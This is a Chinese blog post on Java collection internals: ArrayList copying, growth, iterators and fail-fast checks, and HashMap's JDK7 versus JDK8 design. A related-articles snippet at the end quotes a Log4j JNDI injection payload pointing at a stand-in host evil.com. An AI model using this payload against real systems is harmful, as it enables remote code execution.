并发List、Set、ConcurrentHashMap底层原理

并发List、Set、ConcurrentHashMap底层原理

image-20240218223633770

ArrayList:

List特点:元素有放入顺序,元素可重复

存储结构:底层采用数组来实现

public class ArrayList<E> extends AbstractList<E>implements List<E>, RandomAccess, Cloneable, java.io.Serializable
  • Cloneable:

支持拷贝:实现Cloneable接口,重写clone方法、方法内容默认调用父类的clone方法

浅拷贝

​ 基础类型的变量拷贝之后是独立的,不会随着原变量变动而改变

String类型拷贝之后也是独立的

引用类型拷贝的是引用地址,拷贝前后的变量引用同一个堆中的对象

public Object clone() throws CloneNotSupportedException {Study s = (Study) super.clone();return s;
}

深拷贝

  • 深拷贝是创建一个新的对象,并将当前对象的非静态字段复制到该新对象,如果字段是值类型的,那么对该字段执行逐位复制,如果字段是引用类型的,那么复制引用并指向一个新的对象,而不再是原有的对象。
  • 简单来说,深拷贝就是两个对象不共享内部状态,一个对象的修改不会影响到另一个对象。

ArrayList实现了深拷贝

    public Object clone() {try {ArrayList<?> v = (ArrayList<?>) super.clone();v.elementData = Arrays.copyOf(elementData, size);v.modCount = 0;return v;} catch (CloneNotSupportedException e) {// this shouldn't happen, since we are Cloneablethrow new InternalError(e);}}
  • Serialilzable

    • 序列化:将对象状态转换为可保持或传输的个数的过程
  • AbstractList

    • 继承了AbstractList,说明它是一个列表,有用相应的增、删、查、改等功能
  • List

    • 为什么继承了AbstractList还需要实现List接口
      • 在StackOverFlow 中:传送门 得票最高的答案的回答者说他问了当初写这段代码的 Josh Bloch,得知这就是一个写法错误。

基本属性

//序列化版本号(类文件签名),如果不写会默认生成,类内容的改变会影响签名变化,导致反序列化失败
private static final long serialVersionUID = 8683452581122892189L;//如果实例化时未指定容量,则在初次添加元素时会进行扩容使用此容量作为数组长度
private static final int DEFAULT_CAPACITY = 10;//static修饰,所有的未指定容量的实例(也未添加元素)共享此数组,两个空的数组有什么区别呢? 就是第一次添加元素时知道该 elementData 从空的构造函数还是有参构造函数被初始化的。以便确认如何扩容。空的构造器则初始化为10,有参构造器则按照扩容因子扩容
private static final Object[] EMPTY_ELEMENTDATA = {};
private static final Object[] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = {};
transient Object[] elementData; // arrayList真正存放元素的地方,长度大于等于size

总结之EMPTY_ELEMENTDATA和DEFAULTCAPACITY_EMPTY_ELEMENTDATA的区别:EMPTY_ELEMENTDATA是为了优化创建ArrayList空实例时产生不必要的空数组,使得所有ArrayList空实例都指向同一个空数组。DEFAULTCAPACITY_EMPTY_ELEMENTDATA是为了确保无参构成函数创建的实例在添加第一个元素时,*最小的容量*是默认大小10。

添加元素 - 默认尾部添加

效率比较高

指定下标添加元素

public void add(int index, E element) {rangeCheckForAdd(index);//下标越界检查ensureCapacityInternal(size + 1);  //同上  判断扩容,记录操作数//依次复制插入位置及后面的数组元素,到后面一格,不是移动,因此复制完后,添加的下标位置和下一个位置指向对同一个对象System.arraycopy(elementData, index, elementData, index + 1,size - index);elementData[index] = element;//再将元素赋值给该下标size++;

时间复杂度为O(n),与移动的元素个数正相关

扩容:

private void grow(int minCapacity) {int oldCapacity = elementData.length;//获取当前数组长度int newCapacity = oldCapacity + (oldCapacity >> 1);//默认将扩容至原来容量的 1.5 倍if (newCapacity - minCapacity < 0)//如果1.5倍太小的话,则将我们所需的容量大小赋值给newCapacitynewCapacity = minCapacity;if (newCapacity - MAX_ARRAY_SIZE > 0)//如果1.5倍太大或者我们需要的容量太大,那就直接拿 newCapacity = (minCapacity > MAX_ARRAY_SIZE) ? Integer.MAX_VALUE : MAX_ARRAY_SIZE 来扩容newCapacity = hugeCapacity(minCapacity);elementData = Arrays.copyOf(elementData, newCapacity);//然后将原数组中的数据复制到大小为 newCapacity 的新数组中,并将新数组赋值给 elementData。

迭代器 iterator

public Iterator<E> iterator() {return new Itr();
}
private class Itr implements Iterator<E> {int cursor;       // 代表下一个要访问的元素下标int lastRet = -1; // 代表上一个要访问的元素下标int expectedModCount = modCount;//代表对 ArrayList 修改次数的期望值,初始值为 modCount//如果下一个元素的下标等于集合的大小 ,就证明到最后了public boolean hasNext() {return cursor != size;}@SuppressWarnings("unchecked")public E next() {checkForComodification();//判断expectedModCount和modCount是否相等,ConcurrentModificationExceptionint i = cursor;if (i >= size)//对 cursor 进行判断,看是否超过集合大小和数组长度throw new NoSuchElementException();Object[] elementData = ArrayList.this.elementData;if (i >= elementData.length)throw new ConcurrentModificationException();cursor = i + 1;//自增 1。开始时,cursor = 0,lastRet = -1;每调用一次next方法,cursor和lastRet都会自增1。return (E) elementData[lastRet = i];//将cursor赋值给lastRet,并返回下标为 lastRet 的元素}public void remove() {if (lastRet < 0)//判断 lastRet 的值是否小于 0throw new IllegalStateException();checkForComodification();//判断expectedModCount和modCount是否相等,ConcurrentModificationExceptiontry {ArrayList.this.remove(lastRet);//直接调用 ArrayList 的 remove 方法删除下标为 lastRet 的元素cursor = lastRet;//将 lastRet 赋值给 cursolastRet = -1;//将 lastRet 重新赋值为 -1,并将 modCount 重新赋值给 expectedModCount。expectedModCount = modCount;} catch (IndexOutOfBoundsException ex) {throw new ConcurrentModificationException();}}final void checkForComodification() {if (modCount != expectedModCount)throw new ConcurrentModificationException();}

remove方法的弊端

  • 只能进行remove操作,add、clear等Iterator中没有
  • 调用remove之前必须调用next。因为remove开始就对lastRet做了校验。而lastRet初始化时为-1
  • next之后只可以调用一次remove。因为remove会将lastRet重新初始化为-1

什么是fail-fast

fail-fast机制是java集合中的一种错误机制。

当使用迭代器迭代时,如果发现集合有修改,则快速失败做出响应,抛出ConcurrentModificationException异常。

这种修改有可能是其它线程的修改,也有可能是当前线程自己的修改导致的,比如迭代的过程中直接调用remove()删除元素等。

另外,并不是java中所有的集合都有fail-fast的机制。比如,像最终一致性的ConcurrentHashMap、CopyOnWriterArrayList等都是没有fast-fail的。

fail-fast是怎么实现的:

ArrayList、HashMap中都有一个属性modcount,每次对集合的修改这个值都会加1,在遍历前记录这个值expert*count中,遍历中检查两者是否一致,如果出现不一致就说明有修改,则抛出ConcurrentModificationException异常。

底层数组存/取元素效率非常的高(get/set),时间复杂度是O(1),而查找(比如:indexOf,contain),插入和删除元素效率不太高,时间复杂度为O(n)。

插入/删除元素会触发底层数组频繁拷贝,效率不高,还会造成内存空间的浪费,解决方案:linkedList

查找元素效率不高,解决方案:HashMap(红黑树)

LinkedList

存储结构:底层采用链表来实现

HashSet(Set):

特点:元素无放入顺序,元素不可重复(注意:元素虽然无放入顺序,但是元素在set中的位置是有该元素的HashCode决定的,其位置其实是固定的)

存储结构

底层采用HashMap来实现

HashMap(Map):

特点:key,value存储,key可以为null,同样的key会被覆盖掉

存储结构:底层采用数组、链表、红黑树来实现

原理讲解:

哈希算法(也叫散列),就是把任意长度值(Key)通过散列算法变换成固定长度的key(地址)通过这个地址进行访问的数据结构它通过把关键码值映射到表中一个。位置来访问记录,以加快查找的速度。

image-20240219230658004

image-20240219230720082

链表查询的时候链表过长查询效率非常低,所以需要红黑树

JDK8中的HashMap与JDK7中的HashMap有什么不同
  • JDK8中新增了红黑树,JDK8是通过数组 + 链表 + 红黑树来实现的
  • JDK7中链表的插入是用的头插法,而JDK8中则改为了尾插法
  • JDK8中因为使用了红黑树保证了插入和查询的效率,所以实际上JDK8中的Hash算法实现的复杂度降低了
  • JDK8中数组扩容的条件也发生了变化,只会判断是否当前元素的个数是否查过了阈值,而不再判断当前put进来的元素对应的数组小标位置是否有值
  • JDK7是先扩容再添加新的元素、JDK8是先添加新元素然后再扩容
HashMap中put方法的流程
  • 通过key计算出一个hashcode
  • 通过hashcode与"与操作"计算出一个数组下标
  • 在把put进来的key、value封装成一个entry对象
  • 判断数组下标对应的位置,是不是为空,如果是空则把entry直接存在改数组位置
  • 如果改下标对应的位置不为空,则需要把entry插入到链表中
  • 并且还需要判断改链表中是否存在相同的key,如果存在,则更新value
  • 如果是JDK7使用头插法
  • 如果是JDK8,则会遍历链表,遍历链表的过程中,统计当前链表的元素个数,如果超过8个,则先把链表转变为红黑树、并且把元素插入到红黑树中
JDK中链表转变为红黑树的条件
  • 链表中的元素的个数为8个或超过8个
  • 同时,还需要满足当前数组的长度大于或等于64才会把链表转变为红黑树
    • 因为链表转变为红黑树的目的是为了解决链表过长,导致查询和插入效
      率慢的问题,而如果要解决这个问题,也可以通过数组扩容,把链表缩短也可
      以解决这个问题。所以在数组长度还不太长的情况,可以先通过数组扩容来解
      决链表过长的问题
HashMap扩容流程是怎样的?
  • HashMap的扩容指的就是数组的扩容, 因为数组占用的是连续内存空间,所以数组的扩容其实只能新开一个新的数组,然后把老数组上的元素转移到新
    数组上来,这样才是数组的扩容
  • 在HashMap中也是一样,先新建一个2被数组大小的数组
  • 然后遍历老数组上的没一个位置,如果这个位置上是一个链表,就把这个链表上的元素转移到新数组上去
  • 在这个过程中就需要遍历链表,当然jdk7,和jdk8在这个实现时是有不一样的,jdk7就是简单的遍历链表上的没一个元素,然后按每个元素的hashcode结合新数组的长度重新计算得出一个下标,而重新得到的这个数组下标很可能和之前的数组下标是不一样的,这样子就达到了一种效果,就是扩容之后,某个链表会变短,这也就达到了扩容的目的,缩短链表长度,提高了查询效率
  • 而在jdk8中,因为涉及到红黑树,这个其实比较复杂,jdk8中其实还会用到一个双向链表来维护红黑树中的元素,所以jdk8中在转移某个位置上的元素
    时,会去判断如果这个位置是一个红黑树,那么会遍历该位置的双向链表,遍历双向链表统计哪些元素在扩容完之后还是原位置,哪些元素在扩容之后在新位置,这样遍历完双向链表后,就会得到两个子链表,一个放在原下标位置,一个放在新下标位置,如果原下标位置或新下标位置没有元素,则红黑树不用拆分,否则判断这两个子链表的长度,如果超过八,则转成红黑树放到对应的位置,否则把单向链表放到对应的位置
  • 元素转移完了之后,在把新数组对象赋值给HashMap的table属性,老数组会被回收到
为什么HashMap的数组的大小是2的幂次方

JDK7的HashMap是数组+链表实现的,JDK8的HashMap是数组+链表+红黑树实现的

当某个key-value对需要存储到数组中时,需要先生成一个数组下标index,并且这个index不能越界。

在HashMap中,先得到key的hashcode,hashcode是一个数字,然后通过hashcode & (table.length - 1) 运算得到一个数组下标index,是通过与运算计算出来一个数组下标的,而不是通过取余,与运算相比于取余运算速度更快,但是也有一个前提条件,就是数组的长度得是一个2的幂次方数。

ConcurrentHashMap

特点:并发安全的HashMap,比HashTable效率更高

存储结构:底层采用数组、链表、红黑树、内部大量采用CAS操作。并发控制使用synchronized和CAS来操作来实现的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/691274.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从入门到精通:AI绘画与修图实战指南

&#x1f482; 个人网站:【 海拥】【神级代码资源网站】【办公神器】&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交流的小伙伴&#xff0c;请点击【全栈技术交流群】 在这篇文章中&#xff0c;我们将深入探讨如何利…

【鸿蒙系统学习笔记】ArkTS开发语言

一、背景 ArkTS是HarmonyOS优选的主力应用开发语言。ArkTS围绕应用开发在TypeScript&#xff08;简称TS&#xff09;生态基础上做了进一步扩展&#xff0c;继承了TS的所有特性&#xff0c;是TS的超集。 二、基本语法 2.1、基本语法介绍 ArkTS的基本组成&#xff0c;资料来自…

地下管线管网三维建模工具MagicPipe3D V3.4.2发布

经纬管网建模系统MagicPipe3D&#xff0c;本地离线参数化构建地下管网三维模型&#xff08;包括管道、接头、附属设施等&#xff09;&#xff0c;输出标准3DTiles服务、Obj模型等格式&#xff0c;支持Cesium、Unreal、Unity、Osg等引擎加载进行三维可视化、语义查询、专题分析&…

Python假数据生成库之mimesis使用详解

概要 在软件开发和测试过程中,经常需要使用假数据来模拟真实环境,进行测试、演示或者填充数据库。Python Mimesis 库就是一个强大的工具,可以帮助快速、方便地生成各种类型的假数据。本文将深入探讨 Mimesis 库的功能、用法和示例代码,以帮助大家更好地了解如何利用这个库…

SQL查询转化为 Elasticsearch 查询

使用SQL 转化为查询 Elasticsearch 支持 sql 语句转化为 elasticsearch 的 查询语句 第一步&#xff1a; 打开在线转换工具的网页&#xff0c;进入工具页面 第二步&#xff1a;在指定的输入框中输入需要转换的 sql 语句。 您学会了这么简单的办法

虚拟机--pc端和macOS端互通

windows开启虚拟化 要在Windows系统中开启虚拟化&#xff0c;您可以按照以下步骤操作&#xff1a; 准备工作&#xff1a; 确保您的计算机CPU支持虚拟化技术。在BIOS中开启相应的虚拟化支持。 开启虚拟化&#xff1a; 打开控制面板&#xff0c;点击程序或功能项&am…

VSCode使用Remote-SSH连接服务器时报错:启动服务器失败问题

VSCode使用Remote-SSH连接服务器时报错&#xff1a;启动服务器失败问题 问题描述解决方法引用 问题描述 第一天上班&#xff0c;回来发现又不能使用VScode连不上服务器了&#xff0c;在「输出」栏出现了一直报 Waiting for server log… 的情况&#xff01;本来以为是普通的连接…

Spring框架-AOP(面向切面编程)

AOP&#xff0c;面向切面编程&#xff0c;指在不改变源码的情况下&#xff0c;增加方法的功能。 AOP底层使用动态代理&#xff0c;有两种情况的动态代理&#xff1a; 有接口情况下的动态代理&#xff0c;使用的是JDK动态代理&#xff0c;通过创建接口实现类的代理对象来增强类…

NVIDIA Chat with RTX

NVIDIA在2月13日发布了Chat With RTX&#xff0c;这是一款类似于ChatGPT的免费个性化 AI 聊天机器人&#xff0c;可以在配备 Nvidia RTX 显卡的 PC 上本地运行。它使用Mistral或Llama开放权重LLM&#xff0c;可以搜索本地文件并回答有关它们的问题。本文中我们一起来了解一下Ch…

国际语言代码 Language Code 对照表速查

前言 语言代码是英国教育社会学家伯恩斯坦的术语。指在一定的语言集团中&#xff0c;特定的人群在特定的社会环境下使用的特定的言语。分为限定代码&#xff08;restricted code&#xff09;和精制代码&#xff08;elaborated code&#xff09;。语言代码是由字母或数字组成的…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…

lpr是什么?lpr下降哪些行业是利好?

中国人民银行授权全国银行间同业拆借中心公布&#xff0c;2024年2月20日贷款市场报价利率&#xff08;LPR&#xff09;为&#xff1a;1年期LPR为3.45%&#xff0c;5年期以上LPR为3.95%。以上LPR在下一次发布LPR之前有效。 2024年1月22日贷款市场报价利率&#xff08;LPR&#…

typescript高级类型-类型兼容性

类型兼容性 在 TypeScript 中&#xff0c;对象类型兼容性是指当一个对象赋值给另一个对象时&#xff0c;是否满足类型要求。TypeScript 的类型兼容性是基于结构子类型而不是名义类型的&#xff0c;这意味着只要源类型的属性和方法满足目标类型的要求&#xff0c;就认为两个类型…

HCIP---OSPF

题目&#xff1a; 一&#xff1a;IP规划并配置 全网拿192.16.0.0/16划分&#xff0c;先按区域划分&#xff0c;一共有五个区域加上一共RIP网段&#xff0c;要借三位。 255.255. 11100000.00000000 172.16. 00000000.00000000 172.16.0.0/19 区域0 172.16. 00100000.00…

Vue中$root的使用方法

查看本专栏目录 关于作者 还是大剑师兰特&#xff1a;曾是美国某知名大学计算机专业研究生&#xff0c;现为航空航海领域高级前端工程师&#xff1b;CSDN知名博主&#xff0c;GIS领域优质创作者&#xff0c;深耕openlayers、leaflet、mapbox、cesium&#xff0c;canvas&#x…

面试redis篇-03缓存击穿

原理 缓存击穿:给某一个key设置了过期时间,当key过期的时候,恰好这时间点对这个key有大量的并发请求过来,这些并发的请求可能会瞬间把DB压垮 解决方案一:互斥锁 解决方案二:逻辑过期 提问与回答 面试官 :什么是缓存击穿 ? 怎么解决 ? 回答: 缓存击穿的意思…

【Linux】主机搭建 Linux服务器环境 笔记

目录 前言选择系统软件1. 用U盘装系统2. 安装 Centos7.93. 网络套件 应用软件1. ngnix2. 防火墙配置3. nodejs 后记 前言 过年买了个 mini 主机当玩具玩一下&#xff0c;这里记录下。 选择 已有主力机 (windows) 的情况下&#xff0c;使用过如下四种 Linux宿主环境。这里总…

【C语言必刷题】4. 打印100~200之间的素数

&#x1f4da;博客主页&#xff1a;爱敲代码的小杨. ✨专栏&#xff1a;《Java SE语法》 | 《数据结构与算法》 | 《C生万物》 ❤️感谢大家点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;&#xff0c;您的三连就是我持续更新的动力❤️ &#x1f64f;小杨水平有…

Linux调优指南

更多相关知识可以阅读&#xff1a; https://www.yuque.com/treblez/qksu6c/yxl59pkvczqot9us https://www.yuque.com/treblez/qksu6c/nqe8ip59cwegl6rk 本文不会讲解基础知识。 CPU 设置调度器 这几个调度类的优先级如下&#xff1a;Deadline > Realtime > Fair 如果你…

频谱仿真平台HTZ Communications为私有5G建设铺平道路

韩国的国家监管机构韩国通信委员会&#xff08;KCA&#xff09;计划在德思特频谱仿真平台HTZ Communications的支持下加快扩大无线电接入范围&#xff0c;提升全国电信服务的质量和效率。 韩国通信委员会&#xff08;KCA&#xff09;在韩国的监管环境中扮演着至关重要的角色&am…